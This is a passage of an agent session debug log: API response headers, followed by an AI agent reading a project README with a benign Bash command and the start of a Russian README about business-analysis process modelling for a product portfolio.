\"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:30.927Z] [STDOUT]     \"x-client-request-id\": \"9a4a1b01-34dd-4db1-b789-5c86874146b3\",\n[2026-09-29T07:44:30.933Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:30.941Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:30.946Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:30.951Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:30.955Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:30.957Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:30.960Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:30.964Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:30.970Z] [STDOUT]   },\n[2026-09-29T07:44:30.972Z] [STDOUT] }\n[2026-09-29T07:44:30.975Z] [STDOUT] [log_c66a26, request-id: \"req_011CfXMggQEzjM83EFcXJNmz\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1322ms\n[2026-09-29T07:44:30.978Z] [STDOUT] [log_c66a26] response start {\n[2026-09-29T07:44:30.983Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:30.986Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:30.990Z] [STDOUT]   headers: {\n[2026-09-29T07:44:30.993Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:30.995Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:30.997Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:31.001Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:31.004Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:31.009Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.015Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:31.023Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:31.030Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:31.037Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:31.043Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:31.046Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:31.049Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:31.052Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.060Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:31.064Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:31.067Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:31.073Z] [STDOUT]     \"cf-ray\": \"a4295ce81d5f29ad-FRA\",\n[2026-09-29T07:44:31.076Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:31.080Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:31.086Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:31.092Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:31.097Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:30 GMT\",\n[2026-09-29T07:44:31.102Z] [STDOUT]     \"request-id\": \"req_011CfXMggQEzjM83EFcXJNmz\",\n[2026-09-29T07:44:31.104Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:31.107Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:31.112Z] [STDOUT]     traceresponse: \"00-c6887b4c64059f0412790217b021d070-392d63b648edc88c-01\",\n[2026-09-29T07:44:31.119Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:31.121Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:31.123Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:31.126Z] [STDOUT]   },\n[2026-09-29T07:44:31.128Z] [STDOUT]   durationMs: 1322,\n[2026-09-29T07:44:31.132Z] [STDOUT] }\n[2026-09-29T07:44:31.137Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:31.142Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:30 GMT\",\n[2026-09-29T07:44:31.148Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:31.157Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:31.161Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:31.166Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:31.170Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:31.176Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:31.179Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:31.184Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:31.188Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:31.191Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:31.194Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:31.200Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:31.203Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:31.205Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:31.212Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:31.217Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.221Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:31.229Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:31.233Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:31.239Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:31.244Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.251Z] [STDOUT]   \"request-id\": \"req_011CfXMggQEzjM83EFcXJNmz\",\n[2026-09-29T07:44:31.255Z] [STDOUT]   \"traceresponse\": \"00-c6887b4c64059f0412790217b021d070-392d63b648edc88c-01\",\n[2026-09-29T07:44:31.259Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:31.262Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:31.264Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:31.266Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:31.269Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:31.272Z] [STDOUT]   \"cf-ray\": \"a4295ce81d5f29ad-FRA\",\n[2026-09-29T07:44:31.275Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:31.278Z] [STDOUT] [log_c66a26] response parsed {\n[2026-09-29T07:44:31.280Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:31.289Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:31.293Z] [STDOUT]   body: X {\n[2026-09-29T07:44:31.296Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:31.300Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:31.303Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:31.305Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:31.308Z] [STDOUT]     },\n[2026-09-29T07:44:31.312Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:31.318Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:31.323Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:31.327Z] [STDOUT]   },\n[2026-09-29T07:44:31.330Z] [STDOUT]   durationMs: 1322,\n[2026-09-29T07:44:31.335Z] [STDOUT] }\n[2026-09-29T07:44:31.341Z] [INFO] {\n[2026-09-29T07:44:31.341Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:31.341Z] [INFO]   \"message\": {\n[2026-09-29T07:44:31.341Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:31.341Z] [INFO]     \"id\": \"msg_011CfXMggsmJCTfTYYvYSx25\",\n[2026-09-29T07:44:31.341Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:31.341Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:31.341Z] [INFO]     \"content\": [\n[2026-09-29T07:44:31.341Z] [INFO]       {\n[2026-09-29T07:44:31.341Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:44:31.341Z] [INFO]         \"text\": \"Meanwhile I'll read the ba-ai-process project myself.\"\n[2026-09-29T07:44:31.341Z] [INFO]       }\n[2026-09-29T07:44:31.341Z] [INFO]     ],\n[2026-09-29T07:44:31.341Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:31.341Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:31.341Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:31.341Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:31.341Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:31.341Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:31.341Z] [INFO]       \"cache_creation_input_tokens\": 2811,\n[2026-09-29T07:44:31.341Z] [INFO]       \"cache_read_input_tokens\": 33781,\n[2026-09-29T07:44:31.341Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:31.341Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:44:31.341Z] [INFO]         \"ephemeral_1h_input_tokens\": 2811\n[2026-09-29T07:44:31.341Z] [INFO]      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[log_9f92db, request-id: \"req_011CfXMgmxMVMudpqofD34HK\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 791ms\n[2026-09-29T07:44:31.555Z] [STDOUT] [log_9f92db] response start {\n[2026-09-29T07:44:31.560Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:31.562Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:31.565Z] [STDOUT]   headers: {\n[2026-09-29T07:44:31.569Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:31.574Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:31.576Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:31.580Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:31.584Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:31.587Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.591Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:31.595Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:31.598Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:31.602Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:31.608Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:31.613Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:31.616Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:31.622Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.627Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:31.632Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:31.638Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:31.651Z] [STDOUT]     \"cf-ray\": \"a4295cf05d88dbb5-FRA\",\n[2026-09-29T07:44:31.657Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:31.662Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:31.666Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:31.672Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:31.676Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:31 GMT\",\n[2026-09-29T07:44:31.681Z] [STDOUT]     \"request-id\": \"req_011CfXMgmxMVMudpqofD34HK\",\n[2026-09-29T07:44:31.686Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:31.688Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:31.692Z] [STDOUT]     traceresponse: \"00-8dd9423407052eeadaea5322b8e3d5da-0276a20d448e13e9-01\",\n[2026-09-29T07:44:31.695Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:31.699Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:31.702Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:31.704Z] [STDOUT]   },\n[2026-09-29T07:44:31.708Z] [STDOUT]   durationMs: 791,\n[2026-09-29T07:44:31.711Z] [STDOUT] }\n[2026-09-29T07:44:31.718Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:31.725Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:31 GMT\",\n[2026-09-29T07:44:31.736Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:31.741Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:31.747Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:31.759Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:31.774Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:31.778Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:31.784Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:31.789Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:31.796Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:31.808Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:31.812Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:31.817Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:31.824Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:31.832Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:31.855Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:31.858Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.864Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:31.869Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:31.873Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:31.878Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:31.883Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:31.888Z] [STDOUT]   \"request-id\": \"req_011CfXMgmxMVMudpqofD34HK\",\n[2026-09-29T07:44:31.893Z] [STDOUT]   \"traceresponse\": \"00-8dd9423407052eeadaea5322b8e3d5da-0276a20d448e13e9-01\",\n[2026-09-29T07:44:31.899Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:31.903Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:31.906Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:31.911Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:31.939Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:31.947Z] [STDOUT]   \"cf-ray\": \"a4295cf05d88dbb5-FRA\",\n[2026-09-29T07:44:31.955Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:31.961Z] [STDOUT] [log_9f92db] response parsed {\n[2026-09-29T07:44:31.967Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:31.972Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:31.976Z] [STDOUT]   body: X {\n[2026-09-29T07:44:31.980Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:31.983Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:31.987Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:31.992Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:31.995Z] [STDOUT]     },\n[2026-09-29T07:44:31.999Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:32.004Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:32.009Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:32.012Z] [STDOUT]   },\n[2026-09-29T07:44:32.018Z] [STDOUT]   durationMs: 791,\n[2026-09-29T07:44:32.024Z] [STDOUT] }\n[2026-09-29T07:44:32.035Z] [INFO] {\n[2026-09-29T07:44:32.035Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:32.035Z] [INFO]   \"message\": {\n[2026-09-29T07:44:32.035Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:32.035Z] [INFO]     \"id\": \"msg_011CfXMggsmJCTfTYYvYSx25\",\n[2026-09-29T07:44:32.035Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:32.035Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:32.035Z] [INFO]     \"content\": [\n[2026-09-29T07:44:32.035Z] [INFO]       {\n[2026-09-29T07:44:32.035Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:32.035Z] [INFO]         \"id\": \"toolu_01R12zTjNfkbb1q4T4Bs1hT1\",\n[2026-09-29T07:44:32.035Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:44:32.035Z] [INFO]         \"input\": {\n[2026-09-29T07:44:32.035Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process && cat README.md; find . -type f | grep -v \\\"^./dist\\\\|^./build\\\" | head -150; find . -type f | wc -l\",\n[2026-09-29T07:44:32.035Z] [INFO]           \"description\": \"Read ba-ai-process README and tree\"\n[2026-09-29T07:44:32.035Z] [INFO]         },\n[2026-09-29T07:44:32.035Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:32.035Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:32.035Z] [INFO]         }\n[2026-09-29T07:44:32.035Z] [INFO]       }\n[2026-09-29T07:44:32.035Z] [INFO]     ],\n[2026-09-29T07:44:32.035Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:32.035Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:32.035Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:32.035Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:32.035Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:32.035Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:32.035Z] [INFO]       \"cache_creation_input_tokens\": 2811,\n[2026-09-29T07:44:32.035Z] [INFO]       \"cache_read_input_tokens\": 33781,\n[2026-09-29T07:44:32.035Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:32.035Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:44:32.035Z] [INFO]         \"ephemeral_1h_input_tokens\": 2811\n[2026-09-29T07:44:32.035Z] [INFO]       },\n[2026-09-29T07:44:32.035Z] [INFO]       \"output_tokens\": 44,\n[2026-09-29T07:44:32.035Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:32.035Z] [INFO]   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\"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:32.864Z] [INFO]   \"usage\": {\n[2026-09-29T07:44:32.864Z] [INFO]     \"total_tokens\": 14899,\n[2026-09-29T07:44:32.864Z] [INFO]     \"tool_uses\": 4,\n[2026-09-29T07:44:32.864Z] [INFO]     \"duration_ms\": 10554\n[2026-09-29T07:44:32.864Z] [INFO]   },\n[2026-09-29T07:44:32.864Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:44:32.864Z] [INFO]   \"uuid\": \"cf73e406-6c9f-4d9b-9538-cbbf13d2b4d9\",\n[2026-09-29T07:44:32.864Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:32.864Z] [INFO] }\n[2026-09-29T07:44:33.428Z] [INFO] {\n[2026-09-29T07:44:33.428Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:33.428Z] [INFO]   \"message\": {\n[2026-09-29T07:44:33.428Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:33.428Z] [INFO]     \"content\": [\n[2026-09-29T07:44:33.428Z] [INFO]       {\n[2026-09-29T07:44:33.428Z] [INFO]         \"tool_use_id\": \"toolu_01R12zTjNfkbb1q4T4Bs1hT1\",\n[2026-09-29T07:44:33.428Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:33.428Z] [INFO]         \"content\": \"---\\nstatus: canonical\\nversion: 1.6\\nupdated: 2026-09-28\\ntemperature: 0.1\\nscope: mango-only\\ntype: research\\n---\\n\\n# BA AI Process \u2014 Source \u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n\\n\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 **\u00ab\u043a\u0430\u043a \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0434\u043b\u044f \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e\\n\u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044f MANGO \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445\u00bb**: \u043a\u0430\u043a\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n\u0440\u0430\u0431\u043e\u0442\u0443, \u043a\u0430\u043a\u0438\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043e\u043d\u0430 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0430 \u0438 \u0432 \u043a\u0430\u043a\u043e\u0439 \u0444\u043e\u0440\u043c\u0435\\n\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0433\u0435\u043d\u0442\u0443. GigaCode CLI \u2014 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0430; Cline \u0441 Mango AI\\n\u0438 Qwen Chat \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0438\u043b\u043e\u0442\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b \u043f\u043e\\n[issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615).\\n\\n\u042d\u0442\u043e **\u0434\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432**, \u0430 \u043d\u0435 \u043e\u0431\u0449\u0430\u044f \u0440\u0430\u043c\u043a\u0430. \u0412\u0441\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u043c\u043e\u0434\u0443\u043b\u044f \u043d\u0435\u0441\u0443\u0442\\n`scope: mango-only`. \u0417\u0434\u0435\u0441\u044c `mango-only` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 **\u0432\u0435\u0441\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044c\\nMANGO** (\u0432\u0441\u0435 \u0434\u043e\u043c\u0435\u043d\u044b \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0441\u043d\u0438\u043c\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438), \u0430 \u043d\u0435 \u041a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u044b\u0439 \u0446\u0435\u043d\u0442\u0440 \u0438\u043b\u0438 \u043b\u044e\u0431\u043e\u0439\\n\u0434\u0440\u0443\u0433\u043e\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u043c\u0435\u043d. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438/\u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044e;\\n\u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 (\u0437\u0430\u0434\u0430\u0447\u0430 `B-158`), \u0430 \u043d\u0435\\n\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0435 